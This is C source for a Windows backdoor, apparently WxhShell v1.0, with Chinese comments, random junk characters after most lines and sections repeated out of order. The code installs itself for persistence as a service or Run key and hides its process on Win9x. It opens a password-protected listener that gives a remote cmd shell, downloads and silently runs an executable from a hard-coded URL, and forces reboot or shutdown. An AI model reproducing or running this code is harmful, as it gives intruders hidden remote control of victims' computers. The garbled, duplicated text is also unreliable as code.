    if(Boot(SHUTDOWN)) F0X5dv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h2im sjf  
    else { Zb 12:?  
    closesocket(wsh); U]+b` m  
    ExitThread(0); B4PW4>GF  
    } z0EjIYI[N  
    break; i7Y s_8A"9  
    } ubiQ8Bx  
  // 获取shell ^\xCqVk_R  
  case 's': { u<BHf@AI  
    CmdShell(wsh); 3'|Uqf8  
    closesocket(wsh); jAD+:@  
    ExitThread(0); BT y]!%r'  
    break; |?4~T:  
  } Fr938q6^-  
  // 退出 F5 :2TEA  
  case 'x': { P2A]qX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !Qj)tS#Az  
    CloseIt(wsh); @S/g,;7"  
    break; ^K1~eb*K  
    } E#IiyZ  
  // 离开 <DA{\'jJ  
  case 'q': { }z9I`6[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v Ie=wf~D`  
    closesocket(wsh); Y^*Lh/:h  
    WSACleanup(); ?0 KiR?  
    exit(1); <-Kb@V3  
    break; o(v"?Y6  
        } yoq\9* ?u^  
  } "u3fs2  
  } F``EARG)iu  
i} NkHEK  
  // 提示信息 [="g|/M)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +R{A'Yl[(  
} ;W$w=j: O{  
  } e{q p!N1!  
|ec(z  
  return; T6/$pJl  
} XC+F! R  
F1{?]>G  
// shell模块句柄 ( FjsN5  
int CmdShell(SOCKET sock) .&* ({UM  
{ k=ior  
STARTUPINFO si; ;:8jxkx6%  
ZeroMemory(&si,sizeof(si)); L:k@BCQM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l"~h1xk~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \pBYWf  
PROCESS_INFORMATION ProcessInfo; ^>vO5Ho.  
char cmdline[]="cmd"; <.?^LT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5W:Gl?$S}  
  return 0; b3y,4ke"  
} Rpa A)R,  
MZ|c7f&`  
// 自身启动模式 Z7KB?1{G  
int StartFromService(void) #C=L^cSx(  
{ G}9bC r,  
typedef struct n'x`oI)-  
{ |~=?vw< W  
  DWORD ExitStatus; RJ`/qXL  
  DWORD PebBaseAddress; 6U,U[MWJ  
  DWORD AffinityMask; W:;`  
  DWORD BasePriority; x9{Sl[2&  
  ULONG UniqueProcessId; ~YT>:Np  
  ULONG InheritedFromUniqueProcessId; !kHyLEV  
}   PROCESS_BASIC_INFORMATION; n_!]B_Vd$  
q9a wzj  
PROCNTQSIP NtQueryInformationProcess; J4K|KS7   
?Ss RN jeL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DY+8m8!4H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; no\}aTx  
Sj]T{3mi  
  HANDLE             hProcess; 61eKGcjs:  
  PROCESS_BASIC_INFORMATION pbi; ^JF_;~C  
2}xFv2X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W0uM?J\O  
  if(NULL == hInst ) return 0; 5sV/N] !  
[#3Cg%V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &oK/ ]lub  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >FMT#x t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \SHD  
W<Vzd4hR  
  if (!NtQueryInformationProcess) return 0; o"+ &^  
Lh9>8@ jf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o._#=7|(  
  if(!hProcess) return 0; w$_'xX(  
XKPt[$ab  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K&gc5L  
C_khd"  
  CloseHandle(hProcess); +EB,7<5<  
|@bNd7=2d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F# 37Qv  
if(hProcess==NULL) return 0; m*Lv,yw %a  
|~" A:gf  
HMODULE hMod; cwD*>[j  
char procName[255]; J/&*OC  
unsigned long cbNeeded; o!_; H}pq  
R;-FZ@u/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uRq#pYn@  
$^+KR]\q  
  CloseHandle(hProcess); 4;~lpty  
q!h*3mNm  
if(strstr(procName,"services")) return 1; // 以服务启动 nR|LV'(  
>fzzrD}]  
  return 0; // 注册表启动 ~aq?Kk  
} R O3e  
U@t?jTMBkO  
// 主模块 ,["|wqM  
int StartWxhshell(LPSTR lpCmdLine) &T/9y W[L  
{ f+88R=-u6S  
  SOCKET wsl; YHv,Z|.w  
BOOL val=TRUE; s1b\I6&:J  
  int port=0; r L|BkN  
  struct sockaddr_in door; {^O/MMB\\%  
6g,3s?aT  
  if(wscfg.ws_autoins) Install(); &l}xBQAL  
AeQ&V d|  
port=atoi(lpCmdLine); G;#t6bk  
WMRgf~TY=2  
if(port<=0) port=wscfg.ws_port; q>lkLHS  
f%%En5e +  
  WSADATA data; )^@V*$D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cw-JGqLx  
&IPK5o,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (V%vFD1)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?|rw=%  
  door.sin_family = AF_INET; FHPZQC8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JRs[%w`kD  
  door.sin_port = htons(port);  G/;aZ  
0JL6EL>_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { szs3x-g  
closesocket(wsl); aZ0iwMK  
return 1; lSv;wwEg  
} k#G7`dJl  
k yA(m;r  
  if(listen(wsl,2) == INVALID_SOCKET) { 3\~fe/z'I  
closesocket(wsl); [*E.G~IS`  
return 1; BQmafpp`  
} B9Tztg  
  Wxhshell(wsl); %SFR.U0}yK  
  WSACleanup(); gM[ J'DMW  
mP+yjRw  
return 0; T:5%sN;#O  
MM$" 6Jor  
} ~a,'  
*J5euA5=  
// 以NT服务方式启动 dV*rnpN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) } ZGpd9D  
{ <G=@Gl  
DWORD   status = 0; F09AX'nj  
  DWORD   specificError = 0xfffffff; hds4 _  
@a3v[}c*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "< R 2oo)^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #$T"QL@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $F$R4?_  
  serviceStatus.dwWin32ExitCode     = 0; L 'Rapu  
  serviceStatus.dwServiceSpecificExitCode = 0; RIx6& 7$  
  serviceStatus.dwCheckPoint       = 0; %+J*oFwQu  
  serviceStatus.dwWaitHint       = 0; Y}z?I%zL  
ZO$T/GE6%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >&z+ih  
  if (hServiceStatusHandle==0) return; z3LPR:&Z  
=i %w_ e  
status = GetLastError(); HKw4}FC*  
  if (status!=NO_ERROR) }-iOYSn  
{ h(up1(x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ay[*b_f  
    serviceStatus.dwCheckPoint       = 0; h%e!f#  
    serviceStatus.dwWaitHint       = 0; 1"PE@!]  
    serviceStatus.dwWin32ExitCode     = status; be@uHikp;v  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2a-hf|b1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :N:8O^D^<  
    return; 8iA(:Tb  
  } )uWNN"  
bd}SB-D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F x8)jBB_  
  serviceStatus.dwCheckPoint       = 0; {m GWMv  
  serviceStatus.dwWaitHint       = 0; AW68'G*m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x*)O<K  
} NWj@iyi<  
O,#[m:Ejb  
// 处理NT服务事件,比如:启动、停止 ZeV)/g,w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) . %7A7a  
{ 2 wvDC@  
switch(fdwControl) lNAHn<ht  
{ s50ln&2  
case SERVICE_CONTROL_STOP: q>X 2=&1  
  serviceStatus.dwWin32ExitCode = 0; h (2k;M^s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2_v>8B  
  serviceStatus.dwCheckPoint   = 0; 49GCj`As  
  serviceStatus.dwWaitHint     = 0; OK(d&   
  { Cn '=_1p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (7,Awf5D~  
  } F{tSfKy2  
  return; k6S<46}h|  
case SERVICE_CONTROL_PAUSE: { VO4""m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '"^JNb^I  
  break; dW68lVWq_  
case SERVICE_CONTROL_CONTINUE: -}o;Y)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gZv <_0N  
  break; =oJiNM5_u  
case SERVICE_CONTROL_INTERROGATE: xkovoTzV  
  break; R3A^VE;qP  
}; 7/L7L5h<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UepBXt3)  
} 63=m11 Z4  
b??1Up  
// 标准应用程序主函数 $EF@x}h:A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /+msrrpD  
{  Km7  
5>Q)8` @E  
// 获取操作系统版本 pJ[Q.QxU  
OsIsNt=GetOsVer(); L8ke*O$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2wCRT}C  
"Cb<~Dy  
  // 从命令行安装 \ 714Pyy  
  if(strpbrk(lpCmdLine,"iI")) Install(); x#D=?/~/Kv  
<h({+N  
  // 下载执行文件 'S" F=)*-  
if(wscfg.ws_downexe) { UZ#2*PH2E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \BL9}5y  
  WinExec(wscfg.ws_filenam,SW_HIDE); tS$Ne7yk e  
} 8*wI^*Q  
'Nh^SbD+_|  
if(!OsIsNt) { @d\F; o<  
// 如果时win9x,隐藏进程并且设置为注册表启动 pC6_ jIZ  
HideProc(); @zbXG_J  
StartWxhshell(lpCmdLine); OjZ@_V:  
} Cp%|Q.?  
else @_{"ho  
  if(StartFromService()) fvD wg  
  // 以服务方式启动 c+JlM1p@  
  StartServiceCtrlDispatcher(DispatchTable); ry'(m M  
else Y~Rwsx  
  // 普通方式启动 4rm/+Zes  
  StartWxhshell(lpCmdLine); J}JnJV8|G  
S4w/ kml3  
return 0; 5 S 1m&s5k  
} 5WUrRQ?E  
XebCl{HHp  
k;sUDmrO  
~J|0G6H  
=========================================== _bX)fnUu  
7u zN/LAF  
 X_lNnk  
L" o6)N  
_3hEYeh  
]Uu/1TTf  
" 3r\QLIr L8  
$[Fk>d  
#include <stdio.h> r$KDNa$/a  
#include <string.h> wQ5__"D  
#include <windows.h> + '`RJ,K+[  
#include <winsock2.h> *4ID$BmO  
#include <winsvc.h> }^H_|;e1p  
#include <urlmon.h> <*[(t;i  
*$QUE0  
#pragma comment (lib, "Ws2_32.lib") 7P  
#pragma comment (lib, "urlmon.lib") &\LbajP:+  
L,i-T:Z~=  
#define MAX_USER   100 // 最大客户端连接数 `6zoZM7?Y  
#define BUF_SOCK   200 // sock buffer :z[SI{Y  
#define KEY_BUFF   255 // 输入 buffer s[hD9$VB>  
[lf[J&}X  
#define REBOOT     0   // 重启 W+QI D/  
#define SHUTDOWN   1   // 关机 ?1YK-T@  
M-n +3E9  
#define DEF_PORT   5000 // 监听端口 COap*  
||hd(_W8  
#define REG_LEN     16   // 注册表键长度 OA_ %%A;o  
#define SVC_LEN     80   // NT服务名长度 ~%]+5^Ka]  
NunT1ved  
// 从dll定义API n'SnqJ&}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j9%=^ZoQj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .L}ar7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qg_=5s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^W^%PJ D |  
|.YL 2\  
// wxhshell配置信息 k3&Wv  
struct WSCFG { B{44|aq1|  
  int ws_port;         // 监听端口 d2pVO]l YZ  
  char ws_passstr[REG_LEN]; // 口令 >6c{CYuT  
  int ws_autoins;       // 安装标记, 1=yes 0=no xT%CY(:9X  
  char ws_regname[REG_LEN]; // 注册表键名 ]\{EUx9  
  char ws_svcname[REG_LEN]; // 服务名 RJ`F2b sYN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u BvN*LQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4oJ0,u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7a2 uNt,X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KcHW>IBxdv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yJ?6BLJi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =m UtBD.;  
\]zH M.E1  
}; y:mXv<g  
U<zOR=_  
// default Wxhshell configuration 06ZyR@.@v  
struct WSCFG wscfg={DEF_PORT, >mz<=n  
    "xuhuanlingzhe", Uo# Pe@ieQ  
    1, " 5=Gu1  
    "Wxhshell", p~qdkA<  
    "Wxhshell", YH@^6Be9  
            "WxhShell Service", (<|,LagTuc  
    "Wrsky Windows CmdShell Service", L^dF )y?  
    "Please Input Your Password: ", F.4xi+S_  
  1, n}EH{k9#  
  "http://www.wrsky.com/wxhshell.exe", Y f1?3 (0O  
  "Wxhshell.exe" d-y8c  
    }; K1Mn_)%  
$/K<hT_  
// 消息定义模块 ) }(Po_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S3$&}I <  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C h>r.OfP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f<<1.4)oSV  
char *msg_ws_ext="\n\rExit."; \Cx2$<8  
char *msg_ws_end="\n\rQuit."; zt6GJ z1q  
char *msg_ws_boot="\n\rReboot..."; =A{F&:+a]  
char *msg_ws_poff="\n\rShutdown..."; |cs]98FEf  
char *msg_ws_down="\n\rSave to "; ^? }-x  
@cukoLAn  
char *msg_ws_err="\n\rErr!"; -e(e;e  
char *msg_ws_ok="\n\rOK!"; MaN6bM  
I;FHjnn(  
char ExeFile[MAX_PATH]; vhvFBx0  
int nUser = 0; yvv]iRk<  
HANDLE handles[MAX_USER]; &.F ]-1RN[  
int OsIsNt; f3^Anaa]l  
sFt"2TVr3  
SERVICE_STATUS       serviceStatus; 9(6f:D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0~4Ww=#  
|0OY> 5  
// 函数声明 $t0o*i{  
int Install(void); e>0gE`8A  
int Uninstall(void); o, PpD,,  
int DownloadFile(char *sURL, SOCKET wsh); x n?$@  
int Boot(int flag); F/V -@SF  
void HideProc(void); R"W5R-  
int GetOsVer(void); > 9.%hSy  
int Wxhshell(SOCKET wsl); 7cB/G:{  
void TalkWithClient(void *cs); [4w*<({*  
int CmdShell(SOCKET sock); ,<k%'a!B  
int StartFromService(void); xqs ,4bcbY  
int StartWxhshell(LPSTR lpCmdLine); U$|q]N  
^hNl6)hR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >v2/0>U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SSxp!E'  
.do8\  
// 数据结构和表定义 >dx/k)~~-L  
SERVICE_TABLE_ENTRY DispatchTable[] = 90#* el  
{ t W+"/<U  
{wscfg.ws_svcname, NTServiceMain}, h+=IxF4  
{NULL, NULL} LTxP@pr  
}; EHN(K-  
{]2^b)  
// 自我安装 nrHC;R.nE  
int Install(void) fV@ [S  
{ Ge_fU'F  
  char svExeFile[MAX_PATH]; ~7 `,}) d  
  HKEY key; VCfHm"'E8  
  strcpy(svExeFile,ExeFile); l`.z^+!8@  
!( >U3N  
// 如果是win9x系统,修改注册表设为自启动  9u^M{6  
if(!OsIsNt) { qg{gCG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <rtKPlb//  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /5)*epF+  
  RegCloseKey(key); D(l,Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3m= _a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,A'| Z  
  RegCloseKey(key); Q7rBc wm5  
  return 0; MA,*$BgZ  
    } R\|,GZ!`+  
  } =* G3Khz!  
} ~5'7u-;  
else { i,h30J  
o2X95NiH  
// 如果是NT以上系统,安装为系统服务 +q'\rpt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w]t'2p-'  
if (schSCManager!=0) M^[;{p2uZ  
{ KF zI27r  
  SC_HANDLE schService = CreateService PJiU2Y33  
  ( u8T@W}FX  
  schSCManager, h~7#$i  
  wscfg.ws_svcname, ?<${?L>  
  wscfg.ws_svcdisp, }%p:Xv@X!  
  SERVICE_ALL_ACCESS, kL%ot<rt)w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H,]8[ qT<  
  SERVICE_AUTO_START, YZ5,K6u  
  SERVICE_ERROR_NORMAL,  ][wb4$2  
  svExeFile, y QClq{A  
  NULL, z3y{0<3  
  NULL, GuO}CQs^W  
  NULL, < mQXS87  
  NULL, UB.1xcI  
  NULL jd](m:eG  
  ); =}0Uw4ub(u  
  if (schService!=0) '|DW#l\n  
  { Yy88 5  
  CloseServiceHandle(schService); sqrLys_S  
  CloseServiceHandle(schSCManager); (da`aRVDp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C< 9x\JY%  
  strcat(svExeFile,wscfg.ws_svcname); . :Skc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eCYPd-d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z+&V  >  
  RegCloseKey(key); eAfi!!Z<  
  return 0; -N8rs[c  
    } ~Jk& !IE2  
  } pcy;]U ?  
  CloseServiceHandle(schSCManager); r,Uk)xa/^  
} T&lgWOls  
} bZ\R0[0  
QselW]  
return 1; itg_+%^R  
} ECOJ .^  
0G+Q^]0  
// 自我卸载 E`.xu>Yyj  
int Uninstall(void) &"^F;z/  
{ 'OsZD?W{  
  HKEY key; I8Aq8XBw  
lI<jYd 0fZ  
if(!OsIsNt) { =]%JTGdp(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { krUtOVI  
  RegDeleteValue(key,wscfg.ws_regname); +/ZIs|B4,z  
  RegCloseKey(key); Y;/@[AwF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g&s. 0+  
  RegDeleteValue(key,wscfg.ws_regname); L,}'ST  
  RegCloseKey(key); $-}&RW9  
  return 0; 'X;cgAq8(  
  } h[W`P%xZ  
} pey=zR!  
} aKDY_ D  
else { iFd !ED  
Vu3DP+u|i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $aV62uNf  
if (schSCManager!=0) QTy=VLk43  
{ o-\h;aQJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fz(YP=@ZnP  
  if (schService!=0) }u_D{bz  
  { w"j>^#8  
  if(DeleteService(schService)!=0) { 32wtN8kx  
  CloseServiceHandle(schService); [d`E9&Hv3  
  CloseServiceHandle(schSCManager); o701RG ~)  
  return 0; .KrLvic  
  } 8ymdg\I+L  
  CloseServiceHandle(schService); W'C>Fn}lO?  
  } M~A# _%2U  
  CloseServiceHandle(schSCManager); .C'\U[A{  
} EtcT:k?y  
} P~j#8cH7  
#_DpiiS,.Q  
return 1; +F)EGB%LXs  
} &<t%u[3  
o(hUC$vW  
// 从指定url下载文件 t\M6 d6  
int DownloadFile(char *sURL, SOCKET wsh) LKM018H>  
{ V'kBF2}   
  HRESULT hr; ]64Pk9z=  
char seps[]= "/"; }>{R<[I!G  
char *token; [+\He/M6  
char *file; `i`P}W!F  
char myURL[MAX_PATH]; pr<u 5  
char myFILE[MAX_PATH]; Cog}a  
&]TniQH  
strcpy(myURL,sURL); ^T&{ORWz  
  token=strtok(myURL,seps); 2+&;jgBP  
  while(token!=NULL) BZ?w}%-MO  
  { 9K$ x2U  
    file=token; ;P S4@,  
  token=strtok(NULL,seps); bW`nLiw}%  
  } mnA_$W3~I  
HM% +Y47a  
GetCurrentDirectory(MAX_PATH,myFILE); RvR.t"8  
strcat(myFILE, "\\"); b$@I(.X:  
strcat(myFILE, file); 5Ew( 0K[  
  send(wsh,myFILE,strlen(myFILE),0); ;mpYcpI  
send(wsh,"...",3,0); bPTtA;u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /` M#  
  if(hr==S_OK) X5o*8Bg4M  
return 0; KH2]:&6:Q  
else aVR!~hvFs  
return 1; zfop-qDOc  
vd%AV(]<LJ  
} 9wx]xg4l"  
&<><4MQ  
// 系统电源模块 N8nt2r<h  
int Boot(int flag) uihH")Mo  
{ kI"9T`owR  
  HANDLE hToken; lW"0fZ_x'E  
  TOKEN_PRIVILEGES tkp; P].Eb7I  
s17)zi,?4  
  if(OsIsNt) { GJdL1ptc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S:{xx`6K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1L`V{\_0s  
    tkp.PrivilegeCount = 1; <oXBkCi0r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &Sg]P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @KM?agtlbl  
if(flag==REBOOT) { X0L \Ewm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e;v"d!H/  
  return 0; bGwOhd<.  
} jwjLxt  
else { C[fefV9g2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  3*Q=)}  
  return 0; a( ~X  
} bj`GGxzOb  
  } v2tVq_\AMx  
  else { xbi\KT`~  
if(flag==REBOOT) { gdCit-3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mxEe -q  
  return 0; )*_G/<N) |  
} yT:2*sZRc  
else { 9Tr ceL;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Pek[j)g}  
  return 0; bLS10^g5  
} --diG$x.  
} onmpMU7w  
7:g_:}m  
return 1; Y'000#+  
} UU(Pg{DA 6  
/t`|3Mw  
// win9x进程隐藏模块 &_]G0~e  
void HideProc(void) w;Azxcw  
{ rMVcoO@3  
i`52tH y_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hlre eXv  
  if ( hKernel != NULL ) YFu>`w^Y  
  { .h4NG4FIF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3{.]!   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dSKvs"  
    FreeLibrary(hKernel); P0; y  
  } :LB*l5\  
CT_tJ  
return; nCwA8AG  
} R`$Y]@i&B  
S]=.p-Am  
// 获取操作系统版本 > dVhIbG  
int GetOsVer(void) gFuK/]gzI  
{ #5h_{q4l  
  OSVERSIONINFO winfo; Kg~D~ +j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TDZ==<C  
  GetVersionEx(&winfo); "*/IP9?]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lH?jqp  
  return 1; y+Nw>\|S  
  else _\yR/W~  
  return 0; _t"[p_llo  
} %}H 2  
@i> r(X  
// 客户端句柄模块 L_9uwua.B~  
int Wxhshell(SOCKET wsl) T^MY w  
{ ,_H H8[&  
  SOCKET wsh; '/XP4B\(E  
  struct sockaddr_in client; CAviP61T  
  DWORD myID; PA803R74  
9i 9 ,X^=  
  while(nUser<MAX_USER) x6JV@wA&  
{ qLX<[UL  
  int nSize=sizeof(client); X0+E!~X$zM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Gjq7@F'  
  if(wsh==INVALID_SOCKET) return 1; !_3b#Caf  
_(?`eWo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XXX y*/P  
if(handles[nUser]==0) bh5P98s  
  closesocket(wsh); !oXFDC3k  
else -1B.A  
  nUser++; e(0 cz6  
  } #>KiX84  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XM+.Hel  
3 eF c  
  return 0; oV['%Z'  
} GPGP teC  
6^J[SQ6P  
// 关闭 socket UkD\ma  
void CloseIt(SOCKET wsh) &qPezyt  
{ p{_*<"cfYn  
closesocket(wsh); ny+r>>3Td  
nUser--; NTX0vQG  
ExitThread(0); S?`0,F  
} Z2g<"M  
Q1|6;4L  
// 客户端请求句柄 \ ;]{`  
void TalkWithClient(void *cs) +J{ErsG?6P  
{ 2DsP "q79k  
 WvF{`N  
  SOCKET wsh=(SOCKET)cs; f{L;,  
  char pwd[SVC_LEN]; 5*A5Y E-  
  char cmd[KEY_BUFF]; M0C)SU5"  
char chr[1]; hR0a5   
int i,j; E=,b;S-  
5Hj/7~ =  
  while (nUser < MAX_USER) { r{d@74  
 ? .SiT5  
if(wscfg.ws_passstr) { P}a$#a'!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NTZ3Np`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WzR)R9x]  
  //ZeroMemory(pwd,KEY_BUFF); \hI?XnL#  
      i=0; `_GCS,/t  
  while(i<SVC_LEN) { uUHWTyoO  
4<}@hk Y  
  // 设置超时 tvVf)bbz  
  fd_set FdRead; YwY?tOxBe  
  struct timeval TimeOut; D}}?{pe  
  FD_ZERO(&FdRead); \fC;b"j  
  FD_SET(wsh,&FdRead); )S4ga  
  TimeOut.tv_sec=8; <4;, y*"n  
  TimeOut.tv_usec=0; 1TA!9cz0Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }yrs6pQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wTR?8$  
sl$y&C-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [];wP '*  
  pwd=chr[0]; E]&N'+T  
  if(chr[0]==0xd || chr[0]==0xa) { WW3Jxd  
  pwd=0; &@|? %  
  break; [3S17tTc3  
  } @VOegf+N  
  i++; Cb<7?),vK  
    } 3l`"(5  
MTl @#M  
  // 如果是非法用户,关闭 socket nXfz@q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z|UVH  
} -*w2<DCn  
ZW"f*vwQo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yVn%Bz' [  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KgD$P(J:[  
rDwd!Jet  
while(1) { =&"pG` x  
# Dgkl  
  ZeroMemory(cmd,KEY_BUFF); fM]nP4K`  
x%@M*4:&  
      // 自动支持客户端 telnet标准   2w1Mf<IXPo  
  j=0; b9i_\  
  while(j<KEY_BUFF) { g]44|9x(W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /i@.Xg@:  
  cmd[j]=chr[0]; zSsBbu:  
  if(chr[0]==0xa || chr[0]==0xd) { O3slYd&V  
  cmd[j]=0; kn3GgdU  
  break; mqJD+ K  
  } #LR6wEk  
  j++; Dvz 6 E  
    } lc fAb@}2  
"tk1W>liIN  
  // 下载文件 3bC-B!{;g  
  if(strstr(cmd,"http://")) { qa~ju\jm.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OH n~DL2  
  if(DownloadFile(cmd,wsh)) v\!Cq+lFML  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3#udz C  
  else G5 )"%G.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &];W#9"Z  
  } xK1w->[  
  else { zKYN5|17  
1T~`$zS7  
    switch(cmd[0]) { }Sh@.3*  
  id`9,IJx  
